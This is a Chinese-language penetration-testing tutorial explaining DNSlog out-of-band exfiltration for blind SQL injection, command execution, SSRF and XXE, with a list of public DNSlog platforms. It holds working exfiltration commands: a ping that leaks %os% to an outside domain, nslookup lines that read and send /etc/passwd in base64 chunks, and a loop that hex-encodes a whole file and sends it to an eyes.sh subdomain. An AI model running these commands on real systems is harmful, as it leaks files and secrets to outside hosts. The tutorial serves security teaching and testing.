1.什么是DNSlog
我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com
,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com
等的访问信息,类似日志文件。
2.为什么要用 DNSlog
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。
3.DNSlog回显原理
前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢。通俗的说就是我有个已注册的域名a.com
,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。
看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。
DNSlog.cn中也记录了下来
可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。
4.DNSLog 平台
DNSLog Platform | http://www.dnslog.cn/ | 互联网 | DNSLog.cn 无需注册即可使用的DNSLog平台 |
CEYE.io | http://ceye.io/ | 互联网 | CEYE.io - DNSLog 平台 |
Interact.sh | Web Client | https://app.interactsh.com/#/ | 互联网 | Interact.sh | Web Client |
eyes.sh | http://eyes.sh/ | 互联网 | DNSLog/HTTPLog tool for pentesters |
T00LS DNSLog | https://www.t00ls.com/dnslog.html | 互联网 | T00LS DNSLog(需登录) |
DNSLog.pw | http://dnslog.pw/ | 互联网 | dnslog.pw |
Dig.pm | https://dig.pm/ | 互联网 | Dig.pm |
dnslog.ink | http://dnslog.ink/ | 互联网 | dnslog.ink |
5.DNSlog通常用在哪些地方
大家在渗透测试的时候可能会遇到一下这些情况:
- 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
- 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显
(1)SQL注入中的盲注
(2)XSS盲打
(3)无回显的命令执行
(4)无回显的SSRF
(5)无回显的XXE(Blind XXE)
5.1 无回显的命令执行
5.1.1 介绍
我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
5.1.2 利用
发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有洞
5.1.2.1 Windows
如果是win系统,简单的ping %os%.xxxx.cete.io
即可
DNSlog这边得到了os的信息,那么就说明这里存在命令注入
下面是windows的常用变量:
//变量 类型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%P ROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。
5.1.2.2 Linux
如果目标系统是linux的话,则可用shell语言
5.1.2.3 如何将一个文件的内容外带出来
可以通过 nslookup
命令将 /etc/passwd
文件中的部分内容通过 DNS 查询外带到一个外部域名上。这种方法是通过 DNS 查询来传输数据,非常适用于隐蔽的数据外带。
解析命令
nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn
命令组成部分:
cat /etc/passwd
:
-
- 读取
/etc/passwd
文件的内容。这个文件包含系统中所有用户的信息。
- 读取
base64
:
-
- 将文件内容编码为 Base64。这是因为 DNS 查询的主机名通常只能包含字母、数字、连字符等字符,Base64 编码可以确保数据在这些限制内。
head -c 63
:
-
- 截取 Base64 编码后的前 63 个字符。因为 DNS 查询的子域名长度有限,通常为 63 字符以内。
nslookup ... .g23a5v.dnslog.cn
:
-
- 使用
nslookup
发送一个 DNS 查询请求,将数据附加在子域名上。这个请求会被发送到oast.fun
域名的 DNS 服务器,通常该域名由攻击者控制,可以记录这些请求。
- 使用
过程
要将 /etc/passwd
文件的全部内容通过 DNS 查询逐步外带出去,可以分批次发送这些数据。这通常是通过分块读取文件内容,然后使用多个 nslookup
命令来完成。
分块读取并发送数据
可以使用 tail
和 head
命令来读取并发送所有的字符。下面是一个例子:
1. 发送第1块(前63个字符):
nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn
2. 发送第2块(64-126个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +64 | head -c 63).g23a5v.dnslog.cn
3. 发送第3块(127-189个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +127 | head -c 63).g23a5v.dnslog.cn
解释命令
tail -c +64
:从第64个字符开始读取。head -c 63
:截取接下来的63个字符。
通过逐步增加 tail -c +N
中的 N
值,你可以依次读取并发送文件的后续块内容。
自动化整个过程
为了自动化整个过程,可以使用循环将文件内容分批次发送出去:
这里的 DNSlog 平台最好使用可以查看历史记录的,因为如果文件内容大多话,数据会很多,我用的http://eyes.sh/,可以随机登录,挺方便的。
这里就不用/etc/passwd 演示了,自己创建了一个文件,假设为重要文件,将它外带出来
这里使用了 hex 编码,因为 base64 后有大写字母,而 dnslog 外带出去是会全变成小写,造成失真。
od -An -tx1 /root/test.txt | tr -d ' \n' | fold -w 63 | while read -r chunk; do
nslookup "$chunk.prindqd5.eyes.sh"
done
拼接 然后 hex 解码,
注意事项
- 带宽限制:DNS请求长度有限,分块时每块最多63个字符。
- 请求数量:如果文件较大,需要发送大量请求。